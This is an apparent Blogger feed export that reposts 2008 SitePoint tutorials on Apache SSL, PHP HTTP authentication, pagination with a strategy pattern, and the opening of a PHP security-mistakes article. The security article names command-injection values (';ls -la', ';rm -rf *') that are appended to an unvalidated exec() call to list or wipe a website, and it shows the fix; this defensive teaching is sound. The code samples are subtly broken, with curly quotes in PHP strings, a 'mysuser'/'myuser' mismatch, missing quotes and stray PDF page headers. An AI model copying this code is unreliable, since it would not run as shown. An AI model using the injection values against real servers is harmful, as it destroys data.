/&gt;As you can see, while some research, planning and effort is required to get SSL up and running, it is not an&lt;br /&gt;insurmountable task. In the coming weeks, I'll be blogging in Open Sourcery on SSL-related topics such as&lt;br /&gt;MSIE&lt;br /&gt;Securing Your Apache 2 Server with SSL http://www.sitepoint.com/print/securing-apache-2-server-ssl&lt;br /&gt;7 of 7 2/18/2008 12:06 AM&lt;br /&gt;configuring Web log files to log SSL activity on the secure portion of your site, and a few interesting tools&lt;br /&gt;with SSL applicability. Stay tuned!&lt;br /&gt;Back to SitePoint.com&lt;br /&gt;[1] /glossary.php?q=A#term_19&lt;br /&gt;[2] http://www.apache-ssl.org&lt;br /&gt;[3] http://www.mod_ssl.org&lt;br /&gt;[4] http://www.sslreview.com&lt;br /&gt;[5] http://www.sitepoint.com/blog-post-view.php?id=172059&lt;br /&gt;[6] http://certificates.ipsca.com/Products/SSLServer.asp&lt;br /&gt;[7] http://www.freessl.com&lt;br /&gt;[8] www.openssl.org&lt;br /&gt;[9] /glossary.php?q=L#term_18&lt;br /&gt;[10] /glossary.php?q=A#term_61&lt;br /&gt;[11] http://verisign.com/support/install/index.html&lt;br /&gt;[12] /glossary.php?q=I#term_30&lt;br /&gt;[13] https://domainname.com/&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7103248129274851467-8230731541372970826?l=mysql-php-rudy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mysql-php-rudy.blogspot.com/feeds/8230731541372970826/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7103248129274851467&amp;postID=8230731541372970826&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7103248129274851467/posts/default/8230731541372970826'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7103248129274851467/posts/default/8230731541372970826'/><link rel='alternate' type='text/html' href='http://mysql-php-rudy.blogspot.com/2008/03/securing-your-apache-2-server-with-ssl.html' title='Securing Your Apache 2 Server with SSL'/><author><name>Rudy</name><uri>http://www.blogger.com/profile/03019708910125032368</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://bp2.blogger.com/_fpU10uqH0LU/R-Zn8jrkcgI/AAAAAAAAAC4/_pd4XzrHnm0/S220/rudi2.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7103248129274851467.post-9135559604254202071</id><published>2008-03-21T02:49:00.000-07:00</published><updated>2008-03-21T02:52:04.179-07:00</updated><title type='text'>Apache HTTP Authentication with PHP </title><content type='html'>At one time or another, we’ve all had to log into a&lt;br /&gt;password-protected Web site. When building a site, you may&lt;br /&gt;decide to require this of your visitors for several reasons. The&lt;br /&gt;first, and most obvious, is to protect secure information so that&lt;br /&gt;it can only be viewed by a select few. But you may also choose to&lt;br /&gt;assign usernames and passwords to casual visitors. This may be&lt;br /&gt;done in order to keep track of who is viewing your site, or to&lt;br /&gt;provide personalized options and services to your visitors.&lt;br /&gt;The easiest way to password-protect a site is to use HTTP Authentication,&lt;br /&gt;where if a browser’s request for a protected page is not accompanied by&lt;br /&gt;the correct username and password, the Web server replies with an HTTP&lt;br /&gt;401 error – which means “Unauthorized Access” – and an invitation for&lt;br /&gt;the browser to re-submit the request with a proper username and&lt;br /&gt;password. From the user’s point of view, most of this dialogue is hidden.&lt;br /&gt;Following that first failed request, the browser prompts the user (in a&lt;br /&gt;dialog box) for a username and password, and then re-submits the&lt;br /&gt;request, this time with the authentication information attached. Assuming&lt;br /&gt;the username/password combo is on the list of allowed users, the Web&lt;br /&gt;server then sends the page requested. The Web browser will likewise&lt;br /&gt;continue to send that username/password with all subsequent requests.&lt;br /&gt;The most common way to set up an HTTP Authentication scheme is using an [1] “htaccess” file (see&lt;br /&gt;http://hoohoo.ncsa.uiuc.edu/docs/tutorials/user.html [2]), but this method has disadvantages. Making the&lt;br /&gt;list of authorized users dynamic (so that users could register themselves and gain immediate access to your&lt;br /&gt;site, for example) can involve some pretty twisty [3] scripts that would have to manipulate the&lt;br /&gt;htaccess file(s) to add and remove users as appropriate. And keeping any kind of record as to who is&lt;br /&gt;accessing what using which username/password combinations is next to impossible using the basic support&lt;br /&gt;for HTTP Authentication in most Web servers.&lt;br /&gt;Apache HTTP Authentication with PHP&lt;br /&gt;Apache&lt;br /&gt;server-side&lt;br /&gt;Apache HTTP Authentication with PHP http://www.sitepoint.com/print/http-authentication-php&lt;br /&gt;2 of 3 2/17/2008 11:25 PM&lt;br /&gt;Enter [4], a free, open-source, cross-platform, server-side scripting language. When installed as an&lt;br /&gt;Apache module (this will not work with the CGI and ISAPI versions), PHP lets you handle HTTP&lt;br /&gt;Authentication by yourself, using any means you like to determine whether to accept or deny access to a&lt;br /&gt;Web site.&lt;br /&gt;From here on I’ll assume that you are familiar with the basics of PHP. If this language is new to you, or if&lt;br /&gt;you need a refresher, Part 3 of my Building a Database-Driven Web Site [5] series should bring you up to&lt;br /&gt;speed.&lt;br /&gt;When installed as an Apache module, PHP provides two special global variables: $PHP_AUTH_USER and&lt;br /&gt;$PHP_AUTH_PW. These contain the username and password that accompanied the current HTTP request,&lt;br /&gt;respectively. Using PHP’s header() function, you can then respond with an HTTP 401 error when the&lt;br /&gt;username, password, or both are incorrect.&lt;br /&gt;Let’s look at some sample code for a page that may only be viewed if the user enters username “myuser”&lt;br /&gt;and password “mypass”:&lt;br /&gt;&lt;?php&lt;br /&gt;if ($PHP_AUTH_USER != “mysuser”&lt;br /&gt;or $PHP_AUTH_PW != “mypass”):&lt;br /&gt;// Bad or no username/password.&lt;br /&gt;// Send HTTP 401 error to make the&lt;br /&gt;// browser prompt the user.&lt;br /&gt;header("WWW-Authenticate: " .&lt;br /&gt;"Basic realm=\”Protected Page: " .&lt;br /&gt;"Enter your username and password " .&lt;br /&gt;"for access.\””);&lt;br /&gt;header(“HTTP/1.0 401 Unauthorized”);&lt;br /&gt;// Display message if user cancels dialog&lt;br /&gt;?&gt;&lt;br /&gt;&lt;HTML&gt;&lt;br /&gt;&lt;HEAD&gt;&lt;TITLE&gt;Authorization Failed&lt;/TITLE&gt;&lt;/HEAD&gt;&lt;br /&gt;&lt;BODY&gt;&lt;br /&gt;&lt;H1&gt;Authorization Failed&lt;/H1&gt;&lt;br /&gt;&lt;P&gt;Without a valid username and password,&lt;br /&gt;access to this page cannot be granted.&lt;br /&gt;Please click ‘reload’ and enter a&lt;br /&gt;username and password when prompted.&lt;br /&gt;&lt;/P&gt;&lt;br /&gt;&lt;/BODY&gt;&lt;br /&gt;&lt;/HTML&gt;&lt;br /&gt;&lt;?php else: ?&gt;&lt;br /&gt;...page contents here...&lt;br /&gt;&lt;?php endif; ?&gt;&lt;br /&gt;As you can see, checking the username and password entered is as simple as checking the variables&lt;br /&gt;$PHP_AUTH_USER and $PHP_AUTH_PW. When an incorrect user/pass combination is detected, you&lt;br /&gt;respond with two HTTP headers (using the PHP header [6] function):&lt;br /&gt;PHP&lt;br /&gt;Apache HTTP Authentication with PHP http://www.sitepoint.com/print/http-authentication-php&lt;br /&gt;3 of 3 2/17/2008 11:25 PM&lt;br /&gt;WWW-Authenticate: Basic realm=”Prompt the user here.”&lt;br /&gt;HTTP/1.0 401 Unauthorized&lt;br /&gt;The first line informs the Web browser that Basic authentication is to be used. This just means that&lt;br /&gt;authentication is to be done with a username and password. The realm option lets the browser know when a&lt;br /&gt;particular username/password should be used when navigating throughout a group of Web pages. All pages&lt;br /&gt;that should use the same username/password (thus saving the user from having to re-enter them for every&lt;br /&gt;page) should have the same realm specified. Since this string is displayed in the dialog prompting the user,&lt;br /&gt;it’s an ideal place to put a message (for example: “If you’re a new user, enter ‘guest’ for your username and&lt;br /&gt;leave the password blank.”). Note that the double quotes in this line must be escaped with backslashes to&lt;br /&gt;prevent them from interfering with the double quotes surrounding the string in your PHP code.&lt;br /&gt;The second line is a standard HTTP response code that lets the browser know that the username/password&lt;br /&gt;entered (if any) was incorrect, and that the user should be prompted to (re)enter them.&lt;br /&gt;To protect an entire site, you would typically use PHP’s include [7] function to use the code that&lt;br /&gt;performs the username/password check in every file on your site that you want protected without having to&lt;br /&gt;retype said code on every page.&lt;br /&gt;I recently used this technique on a site that I set up for a small group of people working on a project&lt;br /&gt;together. I issued a single username/password combination that gave them access to the registration page,&lt;br /&gt;where each of them would create a personal username/password combination. The registration page would&lt;br /&gt;store those combinations in a [8] database (for more information on this, see my Building a&lt;br /&gt;Database-Driven Web Site [9] article series). All the other pages on the site would then access that database&lt;br /&gt;to determine if a given username/password combination was allowed to access the site or not.&lt;br /&gt;This and other creative possibilities for making your password protection system more flexible make HTTP&lt;br /&gt;Authentication using PHP an extremely handy tool to have in your arsenal.&lt;br /&gt;Back to SitePoint.com&lt;br /&gt;[1] /glossary.php?q=A#term_19&lt;br /&gt;[2] http://hoohoo.ncsa.uiuc.edu/docs/tutorials/user.html&lt;br /&gt;[3] /glossary.php?q=S#term_14&lt;br /&gt;[4] /glossary.php?q=P#term_1&lt;br /&gt;[5] http://www.webmasterbase.com/article.php?aid=228&lt;br /&gt;[6] http://www.php.net/manual/function.header.php&lt;br /&gt;[7] http://www.php.net/manual/function.include.php&lt;br /&gt;[8] /glossary.php?q=M#term_12&lt;br /&gt;[9] http://www.webmasterbase.com/article.php?aid=228&lt;br /&gt;MySQL&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7103248129274851467-9135559604254202071?l=mysql-php-rudy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mysql-php-rudy.blogspot.com/feeds/9135559604254202071/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7103248129274851467&amp;postID=9135559604254202071&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7103248129274851467/posts/default/9135559604254202071'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7103248129274851467/posts/default/9135559604254202071'/><link rel='alternate' type='text/html' href='http://mysql-php-rudy.blogspot.com/2008/03/apache-http-authentication-with-php.html' title='Apache HTTP Authentication with PHP '/><author><name>Rudy</name><uri>http://www.blogger.com/profile/03019708910125032368</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://bp2.blogger.com/_fpU10uqH0LU/R-Zn8jrkcgI/AAAAAAAAAC4/_pd4XzrHnm0/S220/rudi2.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7103248129274851467.post-8664591507858329015</id><published>2008-03-21T02:29:00.000-07:00</published><updated>2008-03-21T02:31:02.361-07:00</updated><title type='text'>Perfect PHP Pagination</title><content type='html'>Pagination is a topic that has been done to death -- dozens of&lt;br /&gt;articles and reference classes can be found for the management&lt;br /&gt;of result sets ... however (and you knew there was a "however"&lt;br /&gt;coming there, didn't you?) I've always been disgruntled with the&lt;br /&gt;current offerings to date. In this article I offer an improved&lt;br /&gt;solution.&lt;br /&gt;Some pagination classes require parameters, such as a database resource&lt;br /&gt;and an SQL string or two, to be passed to the constructor. Classes that&lt;br /&gt;utilize this approach are lacking in flexibility - what if you require a&lt;br /&gt;different formatting of page numbers at the top and bottom of your pages,&lt;br /&gt;for example? Do you then have to modify some output function, or subclass the entire class, just to override&lt;br /&gt;that one method? These potential "solutions" are restrictive and don't encourage code reuse.&lt;br /&gt;This tutorial is an attempt to further abstract a class for managing result pagination, thereby removing its&lt;br /&gt;dependencies on database connections and SQL queries. The approach I'll discuss provides a measure of&lt;br /&gt;flexibility, allowing the developer to create his or her very own page layouts, and simply register them with&lt;br /&gt;the class through the use of an object oriented design pattern known as the Strategy Design Pattern.&lt;br /&gt;What Is the Strategy Design Pattern?&lt;br /&gt;Consider the following: you have on your site a handful of web pages for which the results of a query are&lt;br /&gt;paged. Your site uses a function or class that handles the retrieval of your results and the publishing of your&lt;br /&gt;paged links.&lt;br /&gt;This is all well and good until you decide to change the layout of the paged links on one (or all) of the pages.&lt;br /&gt;In doing so, you're most likely going to have to modify the method to which this responsibility was&lt;br /&gt;delegated.&lt;br /&gt;Perfect PHP Pagination&lt;br /&gt;Perfect PHP Pagination http://www.sitepoint.com/print/perfect-php-pagination&lt;br /&gt;2 of 8 2/17/2008 9:44 PM&lt;br /&gt;A better solution would be to create as many layouts as you like, and dynamically choose the one you desire&lt;br /&gt;at runtime. The Strategy Design Pattern allows you to do this. In a nutshell, the Strategy Design Pattern is&lt;br /&gt;an object oriented design pattern used by a class that wants to swap behavior at run time.&lt;br /&gt;Using the polymorphic capabilities of [1], a container class (such as the Paginated class that we'll build&lt;br /&gt;in this article) uses an object that implements an interface, and defines concrete implementations for the&lt;br /&gt;methods defined in that interface.&lt;br /&gt;While an interface cannot be instantiated, it can reference implementing classes. So when we create a new&lt;br /&gt;layout, we can let the strategy or interface within the container (the Paginated class) reference the layouts&lt;br /&gt;dynamically at runtime. Calls that produce the paged links will therefore produce a page that's rendered&lt;br /&gt;with the currently referenced layout.&lt;br /&gt;Required Files&lt;br /&gt;As I mentioned, this tutorial is not about the mechanics of how results are paged, but how to use an&lt;br /&gt;interface to implement this logic while retaining flexibility. I've provided as a starting point a class that&lt;br /&gt;contains functionality for registering primitive [2] or objects - the Paginated class -- as well as an&lt;br /&gt;interface that all of our page layouts must implement (PageLayout) and an implementation for a page&lt;br /&gt;layout (DoubleBarLayout). And all the code we'll use in the article is available for download [3].&lt;br /&gt;A Basic Example&lt;br /&gt;The following examples use an array of strings. Here's my data set:&lt;br /&gt;Andrew&lt;br /&gt;Bernard&lt;br /&gt;Castello&lt;br /&gt;Dennis&lt;br /&gt;Ernie&lt;br /&gt;Frank&lt;br /&gt;Greg&lt;br /&gt;Henry&lt;br /&gt;Isac&lt;br /&gt;Jax&lt;br /&gt;Kester&lt;br /&gt;Leonard&lt;br /&gt;Matthew&lt;br /&gt;Nigel&lt;br /&gt;Oscar&lt;br /&gt;However, this code could easily be extended to use an array of integers, characters, or other objects that&lt;br /&gt;have been fetched from a previous database call.&lt;br /&gt;Here's how we'd use the Paginated class:&lt;br /&gt;PHP&lt;br /&gt;arrays&lt;br /&gt;Perfect PHP Pagination http://www.sitepoint.com/print/perfect-php-pagination&lt;br /&gt;3 of 8 2/17/2008 9:44 PM&lt;br /&gt;&lt;?php&lt;br /&gt;require_once "Paginated.php";&lt;br /&gt;//create an array of names in alphabetic order&lt;br /&gt;$names = array("Andrew", "Bernard", "Castello", "Dennis", "Ernie",&lt;br /&gt;Frank", Greg", "Henry", "Isac", "Jax", "Kester", "Leonard",&lt;br /&gt;"Matthew", "Nigel", "Oscar");&lt;br /&gt;$pagedResults = new Paginated($names, 10, 1);&lt;br /&gt;echo "&lt;ul&gt;";&lt;br /&gt;while($row = $pagedResults-&gt;fetchPagedRow()) {&lt;br /&gt;echo "&lt;li&gt;{$row}&lt;/li&gt;";&lt;br /&gt;}&lt;br /&gt;echo "&lt;/ul&gt;";&lt;br /&gt;?&gt;&lt;br /&gt;First, we include the Paginated class and register an array with the constructor. The constructor takes&lt;br /&gt;three arguments, the final two of which are optional:&lt;br /&gt;The first parameter is the array of items to display -- as I mentioned, these can be primitive data types&lt;br /&gt;or more complex objects.&lt;br /&gt;1.&lt;br /&gt;The second parameter is the number of results we want to display on a page. By default, this figure is&lt;br /&gt;set to ten.&lt;br /&gt;2.&lt;br /&gt;3. The third parameter is the current page number.&lt;br /&gt;In the above example, we've used the constant 1 to specify "page 1", however you're probably going to want&lt;br /&gt;to pass this as a parameter from the query string (more on this later). If an invalid page is supplied to the&lt;br /&gt;constructor, the page will default to 1.&lt;br /&gt;By calling the fetchPagedRow method from within the while loop, our code iterates through the array,&lt;br /&gt;printing out the first ten names in the list (in this example, "Kester", "Leonard", "Matthew", "Nigel" and&lt;br /&gt;"Oscar" would be omitted). These items should be included on page two, but, as the image below illustrates,&lt;br /&gt;there are no links to page two yet! While Paginated will manage the access to any object registered by&lt;br /&gt;the programmer, the responsibility of publishing paged links is delegated to a class that implements the&lt;br /&gt;PageLayout interface.&lt;br /&gt;Perfect PHP Pagination http://www.sitepoint.com/print/perfect-php-pagination&lt;br /&gt;4 of 8 2/17/2008 9:44 PM&lt;br /&gt;Let's add some code to display the page numbers, then we'll dig a little deeper into the interior workings and&lt;br /&gt;flexibility of this class.&lt;br /&gt;Create a new file with a PHP extension that contains the following code:&lt;br /&gt;&lt;?php&lt;br /&gt;require_once "Paginated.php";&lt;br /&gt;require_once "DoubleBarLayout.php";&lt;br /&gt;//create an array of names in alphabetic order&lt;br /&gt;$names = array("Andrew", "Bernard", "Castello", "Dennis", "Ernie",&lt;br /&gt;"Frank", "Greg", "Henry", "Isac", "Jax", "Kester", "Leonard",&lt;br /&gt;"Matthew", "Nigel", "Oscar");&lt;br /&gt;$page = $_GET['page'];&lt;br /&gt;$pagedResults = new Paginated($names, 10, 1);&lt;br /&gt;echo "&lt;ul&gt;";&lt;br /&gt;while($row = $pagedResults-&gt;fetchPagedRow()) {&lt;br /&gt;echo "&lt;li&gt;{$row}&lt;/li&gt;";&lt;br /&gt;}&lt;br /&gt;echo "&lt;/ul&gt;";&lt;br /&gt;$pagedResults-&gt;setLayout(new DoubleBarLayout());&lt;br /&gt;echo $pagedResults-&gt;fetchPagedNavigation();&lt;br /&gt;?&gt;&lt;br /&gt;When we run the above script now, we'll see a list of the first ten names, as well as some additional&lt;br /&gt;orientation information shown in the image below. Our script now displays the text "Page 1", as well as a&lt;br /&gt;link to the second page that reads "next &gt;".&lt;br /&gt;Perfect PHP Pagination http://www.sitepoint.com/print/perfect-php-pagination&lt;br /&gt;5 of 8 2/17/2008 9:44 PM&lt;br /&gt;In the code snippet above, we've made use of a class called DoubleBarLayout, which implements the&lt;br /&gt;interface PageLayout and contains an implementation of the fetchPagedLinks method. This&lt;br /&gt;method takes two parameters: the Pagination object, and the query parameters that we want to attach&lt;br /&gt;to the hyperlinks (if any).&lt;br /&gt;The great thing about this method is that it takes advantage of PHP's polymorphic capabilities, allowing the&lt;br /&gt;strategy that's currently registered to be called. It's therefore important for us to set the strategy first, before&lt;br /&gt;calling the method. Setting the strategy is done via a call to the setter method setLayout, which takes as&lt;br /&gt;a parameter an object that implements the PageLayout interface.&lt;br /&gt;Hover over one of these links, and you'll notice that the parameter page and its value of 2 are included in the&lt;br /&gt;URL page number. However, in its current state, if you click this link to the second page, the names that we&lt;br /&gt;would expect to be rendered will not be displayed.&lt;br /&gt;Let's see why this is the case by revisiting the constructor of Paginated.&lt;br /&gt;The constructor takes three parameters:&lt;br /&gt;1. the array of primitive variables or objects to be processed&lt;br /&gt;2. the number of records to display&lt;br /&gt;3. the page number&lt;br /&gt;Because the method fetchPagedNavigation writes a query parameter, we can replace our&lt;br /&gt;hardcoded value of 1 with the value held in $_GET['page']. This way, if the user manually modifies the&lt;br /&gt;value in the URL to something that's invalid, Paginated will default the page number to 1. How you&lt;br /&gt;choose to validate your GET parameters is up to you, though, so I won't dwell on this issue any further.&lt;br /&gt;Flexibility in Page Layout Schemes&lt;br /&gt;The flexibility of this class is accomplished via the PageLayout interface, which is part of the Paginated&lt;br /&gt;object. The PageLayout interface can reference any object that implements it, and calls to the&lt;br /&gt;Paginated method fetchPagedNavigation will cause the currently registered object to be&lt;br /&gt;referenced. If you haven't used interfaces before, this may seem a little confusing, but basically the end&lt;br /&gt;result is that the correct code will be called, and our results will be correctly spread over multiple pages.&lt;br /&gt;Perfect PHP Pagination http://www.sitepoint.com/print/perfect-php-pagination&lt;br /&gt;6 of 8 2/17/2008 9:44 PM&lt;br /&gt;To implement this technique, all you need to do is create a layout strategy that implements the&lt;br /&gt;PageLayout interface. Then, provide an implementation for the method fetchPagedLinks.&lt;br /&gt;This method takes two parameters:&lt;br /&gt;1. $parent, which is the Paginated object&lt;br /&gt;2. $queryVars, which is the list of query parameters to append to the page numbers (and is optional)&lt;br /&gt;There are three important points to note here:&lt;br /&gt;You'll never be making direct calls to fetchPagedLinks. All methods of Paginated can be&lt;br /&gt;accessed through the parent object.&lt;br /&gt;1.&lt;br /&gt;If you want to use your own page layouts, you must change the layout of the paginated result via calls&lt;br /&gt;to setLayout.&lt;br /&gt;2.&lt;br /&gt;With those points in mind, let's create our own page layout! We'll call it TrailingLayout. Here's the&lt;br /&gt;code:&lt;br /&gt;&lt;?php&lt;br /&gt;class TrailingLayout implements PageLayout {&lt;br /&gt;public function fetchPagedLinks($parent, $queryVars) {&lt;br /&gt;$currentPage = $parent-&gt;getPageNumber();&lt;br /&gt;$totalPages = $parent-&gt;fetchNumberPages();&lt;br /&gt;$str = "";&lt;br /&gt;if($totalPages &gt;= 1) {&lt;br /&gt;for($i = 1; $i &lt;= $totalPages; $i++) {&lt;br /&gt;$str .= " &lt;a href=\"?page={$i}$queryVars\"&gt;Page $i&lt;/a&gt;";&lt;br /&gt;$str .= $i != $totalPages ? " | " : "";&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;return $str;&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;?&gt;&lt;br /&gt;The above class, TrailingLayout, implements the PageLayout interface, and provides&lt;br /&gt;implementation for fetchPagedLinks. Remember the parameter $parent is an instance of the&lt;br /&gt;Paginated object, so we can determine the current page, and the total number of pages, by making calls&lt;br /&gt;to getPageNumber and fetchNumberPages, respectively.&lt;br /&gt;Perfect PHP Pagination http://www.sitepoint.com/print/perfect-php-pagination&lt;br /&gt;7 of 8 2/17/2008 9:44 PM&lt;br /&gt;In this simple layout, once there's more than a single page, the script will loop through the array of pages,&lt;br /&gt;and create a hyperlink and page number for each one. The $queryVars are also written to the href as&lt;br /&gt;part of this loop; the parameter $queryVars comes in handy when we're paging the results of a search&lt;br /&gt;that may have included a few parameters.&lt;br /&gt;Note that the string "Page" is not a part of the queryVars, but is written by the loop that appends the&lt;br /&gt;page numbers to the string.&lt;br /&gt;Now let's try implementing our new layout:&lt;br /&gt;&lt;?php&lt;br /&gt;require_once "Paginated.php";&lt;br /&gt;//include your customized layout&lt;br /&gt;require_once "TrailingLayout.php";&lt;br /&gt;//create an array of names in alphabetic order. A database call could&lt;br /&gt;have retrieved these items&lt;br /&gt;$names = array("Andrew", "Bernard", "Castello", "Dennis", "Ernie",&lt;br /&gt;"Frank", "Greg", "Henry", "Isac", "Jax", "Kester", "Leonard",&lt;br /&gt;"Matthew", "Nigel", "Oscar");&lt;br /&gt;$page = $_GET['page'];&lt;br /&gt;$pagedResults = new Paginated($names, 10, $page);&lt;br /&gt;echo "&lt;ul&gt;";&lt;br /&gt;while($row = $pagedResults-&gt;fetchPagedRow()) {&lt;br /&gt;echo "&lt;li&gt;{$row}&lt;/li&gt;";&lt;br /&gt;}&lt;br /&gt;echo "&lt;/ul&gt;";&lt;br /&gt;//$pagedResults-&gt;setLayout(new TrailingLayout());&lt;br /&gt;echo $pagedResults-&gt;fetchPagedNavigation("&amp;firstLetter=l");&lt;br /&gt;?&gt;&lt;br /&gt;If we were to run the script above as is, we'd get the following error message:&lt;br /&gt;"Fatal error: Call to a member function fetchPagedLinks() on a&lt;br /&gt;non-object".&lt;br /&gt;This error occurs because we haven't yet registered the strategy that we wish to use before calling&lt;br /&gt;fetchPagedNavigation. To change the layout of the paged links, we pass to the setLayout&lt;br /&gt;method a parameter, which can be any object that implements the PageLayout interface. In the code&lt;br /&gt;from our TrailingLayout example above, uncomment the second-last line of PHP code, and refresh&lt;br /&gt;your page to see the final result, shown below.&lt;br /&gt;Perfect PHP Pagination http://www.sitepoint.com/print/perfect-php-pagination&lt;br /&gt;8 of 8 2/17/2008 9:44 PM&lt;br /&gt;The last line in that code demonstrates how the fetchPagedNavigation method can take an optional&lt;br /&gt;parameter string to define the rest of the query (note the inclusion of the ampersand before the&lt;br /&gt;firstLetter parameter in the URL to distinguish it from the page parameter).&lt;br /&gt;Summary&lt;br /&gt;In this article, I introduced the Strategy Design Pattern, which can be used to provide flexibility when you're&lt;br /&gt;laying out paged links.&lt;br /&gt;We saw this pattern in action through the Paginated class, which will hopefully prove useful to you when&lt;br /&gt;you're displaying data across multiple pages. The class can be used to display arrays containing primitive&lt;br /&gt;data types or more complex objects.&lt;br /&gt;Back to SitePoint.com&lt;br /&gt;[1] /glossary.php?q=P#term_1&lt;br /&gt;[2] /glossary.php?q=%23#term_72&lt;br /&gt;[3] http://www.sitepoint.com/examples/pagination/paginated-demo.zip&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7103248129274851467-8664591507858329015?l=mysql-php-rudy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mysql-php-rudy.blogspot.com/feeds/8664591507858329015/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7103248129274851467&amp;postID=8664591507858329015&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7103248129274851467/posts/default/8664591507858329015'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7103248129274851467/posts/default/8664591507858329015'/><link rel='alternate' type='text/html' href='http://mysql-php-rudy.blogspot.com/2008/03/perfect-php-pagination.html' title='Perfect PHP Pagination'/><author><name>Rudy</name><uri>http://www.blogger.com/profile/03019708910125032368</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://bp2.blogger.com/_fpU10uqH0LU/R-Zn8jrkcgI/AAAAAAAAAC4/_pd4XzrHnm0/S220/rudi2.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7103248129274851467.post-3352946348090765223</id><published>2008-03-21T02:25:00.000-07:00</published><updated>2008-03-21T02:27:23.798-07:00</updated><title type='text'>PHP Security Blunders</title><content type='html'>[1] is a terrific language for the rapid development of dynamic&lt;br /&gt;Websites. It also has many features that are friendly to beginning&lt;br /&gt;programmers, such as the fact that it doesn't require variable&lt;br /&gt;declarations. However, many of these features can lead a&lt;br /&gt;programmer inadvertently to allow security holes to creep into a Web&lt;br /&gt;application. The popular security mailing lists teem with notes of&lt;br /&gt;flaws identified in PHP applications, but PHP can be as secure as any&lt;br /&gt;other language once you understand the basic types of flaws PHP&lt;br /&gt;applications tend to exhibit.&lt;br /&gt;In this article, I'll detail many of the common PHP programming mistakes that&lt;br /&gt;can result in security holes. By showing you what not to do, and how each&lt;br /&gt;particular flaw can be exploited, I hope that you'll understand not just how to&lt;br /&gt;avoid these particular mistakes, but also why they result in security&lt;br /&gt;vulnerabilities. Understanding each possible flaw will help you avoid making the&lt;br /&gt;same mistakes in your PHP applications.&lt;br /&gt;Security is a process, not a product, and adopting a sound approach to security&lt;br /&gt;during the process of application development will allow you to produce tighter,&lt;br /&gt;more robust code.&lt;br /&gt;Unvalidated Input Errors&lt;br /&gt;One of -- if not the -- most common PHP security flaws is the unvalidated input&lt;br /&gt;error. User-provided data simply cannot be trusted. You should assume every&lt;br /&gt;one of your Web application users is malicious, since it's certain that some of&lt;br /&gt;them will be. Unvalidated or improperly validated input is the root cause of&lt;br /&gt;many of the exploits we'll discuss later in this article.&lt;br /&gt;As an example, you might write the following code to allow a user to view a&lt;br /&gt;calendar that displays a specified month by calling the [2] cal command.&lt;br /&gt;$month = $_GET['month'];&lt;br /&gt;Top 7 PHP Security Blunders&lt;br /&gt;PHP&lt;br /&gt;UNIX&lt;br /&gt;Top 7 PHP Security Blunders http://www.sitepoint.com/print/php-security-blunders&lt;br /&gt;2 of 9 2/17/2008 9:36 PM&lt;br /&gt;$year = $_GET['year'];&lt;br /&gt;exec("cal $month $year", $result);&lt;br /&gt;print "&lt;PRE&gt;";&lt;br /&gt;foreach ($result as $r) { print "$r&lt;BR&gt;"; }&lt;br /&gt;print "&lt;/PRE&gt;";&lt;br /&gt;This code has a gaping security hole, since the $_GET[month] and $_GET[year] variables are not validated in&lt;br /&gt;any way. The application works perfectly, as long as the specified month is a number between 1 and 12, and the year&lt;br /&gt;is provided as a proper four-digit year. However, a malicious user might append ";ls -la" to the year value and&lt;br /&gt;thereby see a listing of your Website's [3] directory. An extremely malicious user could append ";rm -rf *"&lt;br /&gt;to the year value and delete your entire Website!&lt;br /&gt;The proper way to correct this is to ensure that the input you receive from the user is what you expect it to be. Do not&lt;br /&gt;use [4] validation for this; such validation methods are easily worked around by an exploiter who creates&lt;br /&gt;their own form or disables javascript. You need to add PHP code to ensure that the month and year inputs are digits&lt;br /&gt;and only digits, as shown below.&lt;br /&gt;$month = $_GET['month'];&lt;br /&gt;$year = $_GET['year'];&lt;br /&gt;if (!preg_match("/^[0-9]{1,2}$/", $month)) die("Bad month, please&lt;br /&gt;re-enter.");&lt;br /&gt;if (!preg_match("/^[0-9]{4}$/", $year)) die("Bad year, please re-enter.");&lt;br /&gt;exec("cal $month $year", $result);&lt;br /&gt;print "&lt;PRE&gt;";&lt;br /&gt;foreach ($result as $r) { print "$r&lt;BR&gt;"; }&lt;br /&gt;print "&lt;/PRE&gt;";&lt;br /&gt;This code can safely be used without concern that a user could provide input that would compromise your&lt;br /&gt;application, or the server running it. Regular expressions are a great tool for input validation. They can be difficult to&lt;br /&gt;grasp, but are extremely useful in this type of situation.&lt;br /&gt;You should always validate your user-provided data by rejecting anything other than the expected data. Never use the&lt;br /&gt;approach that you'll accept anything except data you know to be harmful -- this is a common source of security flaws.&lt;br /&gt;Sometimes, malicious users can get around this methodology, for example, by including bad input but obscuring it&lt;br /&gt;with null characters. Such input would pass your checks, but could still have a harmful effect.